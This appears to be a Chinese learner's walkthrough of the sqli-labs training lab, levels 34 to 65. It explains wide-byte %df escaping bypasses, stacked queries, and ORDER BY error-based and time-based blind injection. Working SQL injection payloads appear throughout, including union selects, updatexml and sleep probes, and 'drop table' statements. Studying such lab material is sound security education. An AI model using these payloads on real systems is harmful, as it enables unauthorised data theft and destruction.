补充知识:PHP addslashes()
函数作用:在返回预定义字符之前添加反斜杠的字符串
输入?id=1%df' --+
联合注入显示回显
接下来就是老方法
Less-34 Bypass Add SLASHES
(绕过添加斜杠)
此关的传方式为POST,查看一下源代码:
- 方法一
所以此关也要进行%df的转译处理
首先输入admin进行登录
我们再次输入a%df’,按理来说,应该登录成功,但在此关登录失败
所以我们使用Burp Suite抓包查看是哪里出了问题
uname=a%25df%27&passwd=1111&submit=Submit我们可以看到,这里多了一个25所以没有了%df注释符,所以我们在Burp Suite中将其修改,并加入联合注入的语句,再将其执行
然后我们就可以看到回显
接下来还是老方法进行爆破 - 方法二
在用户名填入1�' union select 1,2#密码随意填入
接下来同样也是爆破
Less-35 why care for addslashes()
(为什么要关心addslashes())
首先还是照例添加代码,然后有一个投机取巧的办法,我们看到$sql语句的id值没有任何的包裹,所以这个闭合方式就为无闭合
所以我们就可以大胆的进行注入,联合查询,因为所有语句都不含’所以这一关没有上一关繁琐,这一关很轻松愉快,和最开始的几关就差不多了
Less-36 GET-Bypass MySQLreal escape_string
我们先查看一下源代码,我们发现,36关用了一个函数
补充知识:MySQLreal escape_string()函数
作用:将下列受字符影响的字符串进行转译
\x00,\n,\r,,’,",\x1a
若成功,该函数返回被转译的字符串,若失败,则返回false
我们先来测试一下,输入?id=1返回正常
加上一个单引号,我们可以发现,单引号被转译
利用前几关的方法,将’变为%df’,并进行闭合,显示正常
联合注入:
后面的方法还是老样子
当然,第36关还可以使用延时注入
Less-37 POST-Bypass MySQLreal escape_string
我们可以仿照第34关在用户名上输入1�' union select 1,2#密码随意输入,然后我们发现联合注入回显正常
下面就是老方法继续爆破
当然,Burp Suite的抓包方法也是适用的,37关的方法与34关一致
补充知识:堆叠注入
什么是堆叠注入(stacked injections):多条sql语句一起执行,我们知道在MySQL命令行中,每一条结尾加上;表示语句结束,这样我们就会想到是不是可以多个语句一起使用,这就出现了堆叠注入
我们在MySQL环境下试验一下:
我们发现两条语句均执行,我们可以简单地理解为堆叠注入
Less-38 Stacked Query
(堆叠查询)
首先,老样子,添加代码,输入?id=1进行试验
?id=1';create table xiaofu1 like users;--+我们用这个语句来创建一个数据表xiaofu1
我们在MySQL环境下查看一下:
下面我们将xiaofu1这个数据表删除?id=1';drop table xiaofu1 ;--+
在MySQL环境下查看一下:xiaofu1已被删除
后来的步骤可以参考29,30关,一模一样
Page2到此结束啦!下面我们开始Page3
Page-3(Stacked Injections)
Less-39 GET - Stacked Query Injection - Intiger based
我们先添加代码,然后输入?id=1进行试验,发现闭合方式为无闭合
其余步骤与28关一致,均为堆叠注入
Less-40 GET-BLIND - based - String - stacked
首先,添加代码,用?id=1试验,明显的找到它的闭合方式
其余步骤与28关一致,均为堆叠注入
Less-41 GET - BLIND based - Intiger - Stacked
添加代码,发现闭合方式为无闭合
其余步骤与28关一致,均为堆叠注入
Less-42 POST - Stacked Query error based
首先我们依旧是查看代码,我们发现了一个不太对称的代码,这个函数我们在前面遇到过,我们发现,在username这一栏有单引号注释而password这一栏没有
我们也能看到,password被单引号包裹
我们先用admin登录
我们进行退出,然后我们在控制台将password的类型改为text
这样方便我们查看密码
现在,我们在用户名一栏随意输入,在密码一栏输入a'; create table xiaofu1 like users;#
登录进去后,发现失败,并且他说我silly!
但是,我们查看MySQL环境下,已经有了xiaofu1这个数据表,这样就代表我们的注入依旧是成功的
我们返回登录,用户名随意输入,在密码区输入a';drop table xiaofu1;#
登录失败
我们查看数据表,发现xiaofu1被删除
综上42关到此结束
Less-43 POST- Stacked Query error based with twist
与42关不同的只有闭合方式的不同
a'); create table xiaofu1 like users;#
a');drop table xiaofu1;#
这两个语句即可解开本关
Less-44 POST - Error based - String - Stacked -Blind
这一关跟前面一样,只是没有回显的报错信息
a'; create table xiaofu1 like users;#
a';drop table xiaofu1;#
这两条语句即可解开本关
Less-45 POST - Error based - String - Stacked - Blind
与43关一模一样
a'); create table xiaofu1 like users;#
a');drop table xiaofu1;#
这两个语句即可解开本关
补充知识:一些sql语句
asc()指按升序排列
desc()指按降序排列
select * from users order by 1 asc;
使用升序排列
select * from users order by 1 desc
使用降序排列
left(database(),1)
显示从左开始数据库名称的第一个字母
right(database(),1)
显示从右开始数据库名称的第一个字母
lines terminated by… 以…为结尾
Less-46 ORDER BY-Error-Numeric
(order by 排序)
首先还是老样子,在源代码中进行添加语句
注意哦,我们这里应该用?sort=1进行试验
执行后显示:
我们将1改为2,继续执行
我们可以看出来,sort=几,第几列就按顺序排列,我们输入?sort=3 desc可以看出来第三列按倒序排列,其他列则是乱序
综上:我们可以知道 sort的意思就是select * from users order by...所以后面的那个数字,即为注入点
我们尝试着使用联合注入,但是无法使用
- 方法一:报错注入
?sort=3 and updatexml(1,concat(0x7e,(database())),1)--+
下面的步骤与前面的报错注入一致,只需修改其中语句 - 基于时间的盲注
?sort=3 and if((length(database())=8),1,sleep(5))--+出现明显延迟
其余步骤不再赘述,主要是复习一下前面的知识
Less-47 ORDER BY Clause-Error-Single quote
同样的,输入sort=3发现,闭合方式不同,此关为单引号闭合
?sort=3' and '1'='1闭合成功
47与46不同之处仅有闭合方式的不同
Less-48 ORDER BY Clause Blind based
48与46,47不同的是,错误时没有回显,所以我们不能使用报错注入,只能使用基于时间的盲注
方法参见46关方法二
Less-49 ORDER BY Clause Blind based
49与48方法一致,只是该关为单引号闭合,也是只可用基于时间的盲注
Less46-49小结:
我们在前面学习的是$id=
sql语句是:select *from users where id=...
在这几关中,是sort=
sql语句是:select * from users order by...
所以在46-49关我们只有报错注入和时间盲注这两种方法
Less-50 ORDER BY Clause Blind based
我们首先来查看并添加一下源代码,然后我们发现了50关用了一个函数,这个函数的意思是可以执行多个数据库,简单来说,第五十关可以使用堆叠注入

Less-51 ORDER BY Clause Blind based
和50关闭合方式不同,其余方法一致
Less-52 ORDER BY Clause Blind based
没有错误回显,所以我们无法使用报错注入
Less - 53 ORDER BY Clause Blind based
与52关一样,无法使用报错注入,并且闭合方式不一样
Page-4(challenges)
Less-54 GET-challenge-Union-10 queries allowed-Variation 1
这关的意思是,在10次尝试内试出challenges的数据并提交
输入?id=1试验,这时显示用了一次机会
加上单引号并进行闭合,显示用了两次机会
我们现在来猜列数:
显示已经使用4次
联合注入显示回显位置,使用5次:
爆破数据表,拿到表名t51dl3ys53,使用6次
爆破字段名,拿到字段名id,sessid,secret_0KQ6,tryy,使用7次
爆破字段的值:lq7hGdqAR3iGWok6TncHx9pk使用8次
我们将这个值输入到下面,显示登录成功
Less-55 GET-challenge-Union-14 queries allowed-Variation 2
55关我们有14次的机会
与14关不同的是,闭合方式的不同,此关为()闭合,其余方法一模一样
Less-56 GET-challenge-Union-14 queries allowed-Variation3
与14关不同的是,闭合方式的不同,此关为’)闭合,其余方法一模一样
Less-57 GET-challenge-Union-14 queries allowed-Variation 4
与14关不同的是,闭合方式的不同,此关为"闭合,其余方法一模一样
Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1
这一关只允许尝试5次
在这种情况下我们发现联合注入也无法使用,所以我们别无选择,只能选择报错注入
爆破数据表:ltty3fafkr
爆破字段名:~id,sessid,secret_XBE8,tryy
拿到数据,提交进入,登录成功
Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2
与58不同的是,59关的闭合方式为无闭合,其余步骤一模一样
Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3
与58不同的是,60关的闭合方式为")闭合,其余步骤一模一样
Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4
与58不同的是,60关的闭合方式为’))闭合,其余步骤一模一样
Less-62 GET-challenge-Blind- 130 queries allowed -variation 1
尝试次数为130次,我们就能知道,这关应该是盲注
此关闭合方式为’)闭合,然后我们就使用以前经常提到的if(length(database()>1),1,sleep(5))来盲注
Less-63 GET-challenge-Blind- 130 queries allowed -variation 2
与62不同的是,63关的闭合方式为’闭合,其余步骤一模一样
Less-64 GET-challenge-Blind- 130 queries allowed -variation 3
与62不同的是,64关的闭合方式为))闭合,其余步骤一模一样
Less-65 GET-challenge-Blind- 130 queries allowed -variation 4
与62不同的是,65关的闭合方式为’)闭合,其余步骤一模一样
终于结束了65关,确实对sql注入有了一个初步的认识,这只是刚刚开始,以后还是要加油呀!